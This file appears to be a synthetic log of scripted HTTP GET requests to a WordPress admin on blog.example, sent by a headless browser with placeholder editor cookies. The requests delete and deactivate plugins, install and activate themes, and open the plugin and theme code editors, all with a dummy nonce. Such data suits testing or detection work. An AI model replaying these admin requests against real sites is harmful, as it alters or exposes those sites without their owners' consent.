{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/upgrade.php?_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=docker-helper&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=powershell-tools&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=powershell-tools%2Fpowershell-tools.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-config-file-editor&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=wp-config-file-editor%2Fwp-config-file-editor.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=wp-config-file-editor%2Fwp-config-file-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=wp-config-file-editor&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
